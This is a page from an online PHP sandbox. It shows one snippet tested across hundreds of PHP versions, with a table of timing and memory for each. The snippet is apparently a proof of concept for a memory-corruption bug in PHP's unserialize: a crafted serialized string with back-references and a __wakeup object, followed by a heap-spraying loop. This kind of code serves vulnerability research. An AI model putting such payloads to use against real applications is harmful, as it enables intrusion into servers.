3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:0:{}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.01116.63
8.3.50.0110.01021.08
8.3.40.0060.00918.57
8.3.30.0040.01118.59
8.3.20.0070.00020.34
8.3.10.0000.00823.48
8.3.00.0040.00419.56
8.2.180.0150.00616.63
8.2.170.0070.00722.96
8.2.160.0050.00820.47
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0060.00326.16
8.2.120.0060.00317.63
8.2.110.0060.00322.13
8.2.100.0090.00317.75
8.2.90.0000.00919.05
8.2.80.0030.00517.97
8.2.70.0060.00317.63
8.2.60.0040.00417.80
8.2.50.0040.00418.07
8.2.40.0060.00319.21
8.2.30.0040.00417.90
8.2.20.0070.00017.79
8.2.10.0050.00317.96
8.2.00.0040.00418.00
8.1.280.0100.00325.92
8.1.270.0110.00420.22
8.1.260.0050.00226.35
8.1.250.0070.00028.09
8.1.240.0060.00322.47
8.1.230.0090.00317.42
8.1.220.0030.00717.77
8.1.210.0060.00318.77
8.1.200.0060.00317.35
8.1.190.0050.00317.13
8.1.180.0050.00318.10
8.1.170.0090.00018.46
8.1.160.0000.00722.02
8.1.150.0000.00818.96
8.1.140.0060.00317.40
8.1.130.0000.00717.72
8.1.120.0040.00417.47
8.1.110.0000.00717.47
8.1.100.0070.00017.34
8.1.90.0080.00017.45
8.1.80.0000.00817.38
8.1.70.0000.00817.33
8.1.60.0000.00817.59
8.1.50.0040.00417.54
8.1.40.0060.00317.46
8.1.30.0000.00917.51
8.1.20.0000.00717.67
8.1.10.0040.00417.63
8.1.00.0000.00717.59
8.0.300.0000.00718.77
8.0.290.0040.00416.88
8.0.280.0000.00718.47
8.0.270.0000.00817.29
8.0.260.0030.00617.20
8.0.250.0000.00716.96
8.0.240.0000.00617.04
8.0.230.0040.00417.07
8.0.220.0000.00816.99
8.0.210.0000.00816.95
8.0.200.0060.00016.96
8.0.190.0060.00317.04
8.0.180.0050.00217.00
8.0.170.0070.00016.88
8.0.160.0000.00716.96
8.0.150.0070.00016.88
8.0.140.0000.00716.92
8.0.130.0030.00313.38
8.0.120.0040.00416.87
8.0.110.0040.00416.81
8.0.100.0040.00416.80
8.0.90.0040.00416.91
8.0.80.0130.00916.95
8.0.70.0050.00216.88
8.0.60.0040.00416.77
8.0.50.0050.00316.98
8.0.30.0090.01117.25
8.0.20.0120.00917.40
8.0.10.0040.00417.00
8.0.00.0110.00616.68
7.4.330.0050.00015.08
7.4.320.0060.00016.50
7.4.300.0060.00016.53
7.4.290.0030.00316.61
7.4.280.0050.00316.50
7.4.270.0030.00316.66
7.4.260.0000.01016.53
7.4.250.0070.00016.41
7.4.240.0050.00216.48
7.4.230.0040.00416.63
7.4.220.0110.00716.55
7.4.210.0070.00716.48
7.4.200.0000.00716.53
7.4.160.0110.00816.45
7.4.150.0030.01717.40
7.4.140.0110.01117.86
7.4.130.0050.01216.45
7.4.120.0110.00616.60
7.4.110.0080.00916.68
7.4.100.0170.00016.45
7.4.90.0110.00716.39
7.4.80.0100.01419.39
7.4.70.0150.01216.67
7.4.60.0070.01016.63
7.4.50.0040.00416.57
7.4.40.0110.00516.40
7.4.30.0120.00616.39
7.4.10.0070.01115.22
7.4.00.0050.01014.81
7.3.330.0000.00513.30
7.3.320.0030.00313.25
7.3.310.0030.00316.35
7.3.300.0000.00716.39
7.3.290.0070.00016.40
7.3.280.0120.00816.34
7.3.270.0090.00917.40
7.3.260.0100.00716.70
7.3.250.0110.00616.43
7.3.240.0180.00416.51
7.3.230.0150.00416.42
7.3.210.0110.00716.49
7.3.200.0060.01516.55
7.3.190.0100.00616.38
7.3.180.0160.00016.48
7.3.170.0060.01016.64
7.3.160.0080.00816.56
7.3.130.0100.00614.98
7.3.120.0100.00815.05
7.3.110.0050.01314.93
7.3.100.0060.00914.84
7.3.90.0070.01314.88
7.3.80.0020.00814.80
7.3.70.0050.01014.94
7.3.60.0050.01214.90
7.3.50.0060.01114.67
7.3.40.0050.00914.76
7.3.30.0040.01114.68
7.3.20.0050.00716.58
7.3.10.0070.00516.76
7.3.00.0060.00516.73
7.2.330.0030.01316.45
7.2.320.0130.01016.75
7.2.310.0100.00616.55
7.2.300.0030.01516.38
7.2.290.0160.00016.48
7.2.260.0060.01214.91
7.2.250.0030.01314.83
7.2.240.0050.01315.13
7.2.230.0050.01114.84
7.2.220.0060.00914.97
7.2.210.0060.01014.86
7.2.200.0070.00915.06
7.2.190.0030.01015.02
7.2.180.0050.01114.97
7.2.170.0060.00514.85
7.2.160.0020.01414.96
7.2.150.0060.00816.80
7.2.140.0020.01216.89
7.2.130.0100.00317.02
7.2.120.0080.00516.99
7.2.110.0050.01316.86
7.2.100.0070.00716.84
7.2.90.0050.01316.81
7.2.80.0080.00616.80
7.2.70.0040.01116.78
7.2.60.0080.00616.89
7.2.50.0050.01116.91
7.2.40.0060.00616.83
7.2.30.0050.00916.82
7.2.20.0080.00416.75
7.2.10.0030.01016.72
7.2.00.0070.00817.77
7.1.330.0000.01715.91
7.1.320.0030.01615.63
7.1.310.0050.00815.86
7.1.300.0050.01115.92
7.1.290.0060.00615.83
7.1.280.0050.01215.70
7.1.270.0050.00515.71
7.1.260.0070.00615.73
7.1.250.0050.01115.93
7.1.240.0000.00916.03
7.1.230.0060.00615.93
7.1.220.0070.00715.90
7.1.210.0000.01515.68
7.1.200.0090.00715.90
7.1.190.0090.00015.87
7.1.180.0040.00415.45
7.1.170.0100.00315.97
7.1.160.0070.00315.80
7.1.150.0040.01115.77
7.1.140.0040.00715.75
7.1.130.0060.00615.79
7.1.120.0040.00715.86
7.1.110.0090.00015.60
7.1.100.0020.01317.11
7.1.90.0030.00615.48
7.1.80.0100.00315.80
7.1.70.0030.00816.43
7.1.60.0090.00817.54
7.1.50.0070.01216.52
7.1.40.0000.01115.85
7.1.30.0030.00915.83
7.1.20.0090.00615.92
7.1.10.0030.01015.95
7.1.00.0060.04119.05
7.0.330.0110.00415.35
7.0.320.0060.00615.41
7.0.310.0110.00315.20
7.0.300.0040.01115.20
7.0.290.0080.00315.55
7.0.280.0030.00815.39
7.0.270.0070.00715.57
7.0.260.0090.00315.49
7.0.250.0090.00015.45
7.0.240.0000.00815.52
7.0.230.0090.00615.48
7.0.220.0040.00715.48
7.0.210.0110.00415.36
7.0.200.0090.00715.77
7.0.190.0030.00715.52
7.0.180.0030.01015.49
7.0.170.0040.01115.45
7.0.160.0110.00415.13
7.0.150.0030.01015.50
7.0.140.0100.00015.19
7.0.130.0000.00915.35
7.0.120.0070.00715.31
7.0.110.0030.01015.26
7.0.100.0000.01115.22
7.0.90.0000.01015.32
7.0.80.0000.01215.46
7.0.70.0120.00315.58
7.0.60.0060.04117.67
7.0.50.0070.04516.61
7.0.40.0130.03216.81
7.0.30.0170.04216.87
7.0.20.0150.02716.84
7.0.10.0100.03616.97
7.0.00.0030.04316.69
5.6.400.0040.00414.24
5.6.390.0120.00314.71
5.6.380.0140.00314.68
5.6.370.0040.01214.30
5.6.360.0030.00614.78
5.6.350.0000.01314.66
5.6.340.0000.01414.45
5.6.330.0040.00414.19
5.6.320.0060.00614.14
5.6.310.0040.01114.40
5.6.300.0000.00914.65
5.6.290.0040.01114.45
5.6.280.0050.01817.87
5.6.270.0040.01114.32
5.6.260.0100.00014.59
5.6.250.0060.00614.30
5.6.240.0070.00714.56
5.6.230.0040.01514.38
5.6.220.0120.00614.36
5.6.210.0060.04617.59
5.6.200.0050.03016.41
5.6.190.0090.02617.43
5.6.180.0150.02517.57
5.6.170.0160.04617.55
5.6.160.0060.04917.55
5.6.150.0050.02916.20
5.6.140.0030.04316.29
5.6.130.0020.03716.18
5.6.120.0080.02217.80
5.6.110.0050.02717.75
5.6.100.0090.03017.84
5.6.90.0110.04117.69
5.6.80.0120.03817.28
5.6.70.2270.02517.48
5.6.60.0110.00414.36
5.6.50.0030.00914.02
5.6.40.0060.00614.59
5.6.30.0060.00914.29
5.6.20.0120.00614.45
5.6.10.0070.00714.34
5.6.00.0120.00314.43
5.5.380.0070.01114.21
5.5.370.0060.01214.53
5.5.360.0000.01314.37
5.5.350.0100.02617.57
5.5.340.0050.03316.21
5.5.330.0050.04317.38
5.5.320.0200.03917.38
5.5.310.0170.03717.41
5.5.300.0050.04316.06
5.5.290.0050.05016.38
5.5.280.0050.04917.65
5.5.270.0100.04017.51
5.5.260.0080.03817.48
5.5.250.0020.04317.52
5.5.240.0040.04417.29
5.5.230.0000.01514.55
5.5.220.0090.00614.36
5.5.210.0090.00614.29
5.5.200.0000.00914.22
5.5.190.0110.00014.41
5.5.180.0030.01014.38
5.5.170.0030.00914.32
5.5.160.0000.00914.48
5.5.150.0060.00914.46
5.5.140.0140.00014.32
5.5.130.0030.01014.53
5.5.120.0040.01114.51
5.5.110.0000.01514.17
5.5.100.0070.00714.16
5.5.90.0070.00314.13
5.5.80.0090.00314.48
5.5.70.0000.01414.10
5.5.60.0070.00714.40
5.5.50.0000.00914.43
5.5.40.0090.00314.67
5.5.30.0090.00014.57
5.5.20.0050.00514.61
5.5.10.0030.01414.29
5.5.00.0030.01413.92
5.4.450.0300.03215.26
5.4.440.0500.03215.21
5.4.430.0370.03915.53
5.4.420.0430.03015.25
5.4.410.0260.04815.44
5.4.400.0280.03015.32
5.4.390.0300.02714.98
5.4.380.0330.03014.87
5.4.370.0300.03014.97
5.4.360.0230.03615.23
5.4.350.0330.03015.10
5.4.340.0350.03015.08
5.4.330.0040.00711.22
5.4.320.0370.03415.14
5.4.310.0380.02815.04
5.4.300.0320.03315.21
5.4.290.0340.03115.21
5.4.280.0380.03215.19
5.4.270.0280.03515.19
5.4.260.0330.03115.26
5.4.250.0430.02515.28
5.4.240.0450.03114.85
5.4.230.0450.03415.22
5.4.220.0280.03715.04
5.4.210.0350.02815.07
5.4.200.0350.02614.99
5.4.190.0370.03015.10
5.4.180.0340.03315.04
5.4.170.0360.02615.10
5.4.160.0380.02915.14
5.4.150.0470.03615.10
5.4.140.0380.03213.88
5.4.130.0380.02813.69
5.4.120.0460.02313.65
5.4.110.0410.02613.87
5.4.100.0350.02813.78
5.4.90.0400.03913.91
5.4.80.0480.03313.75
5.4.70.0140.03513.92
5.4.60.0240.02613.80
5.4.50.0020.03613.87
5.4.40.0060.03413.78
5.4.30.0020.02413.82
5.4.20.0180.03613.83
5.4.10.0000.00810.91
5.4.00.0040.00411.29

preferences:
65.66 ms | 401 KiB | 5 Q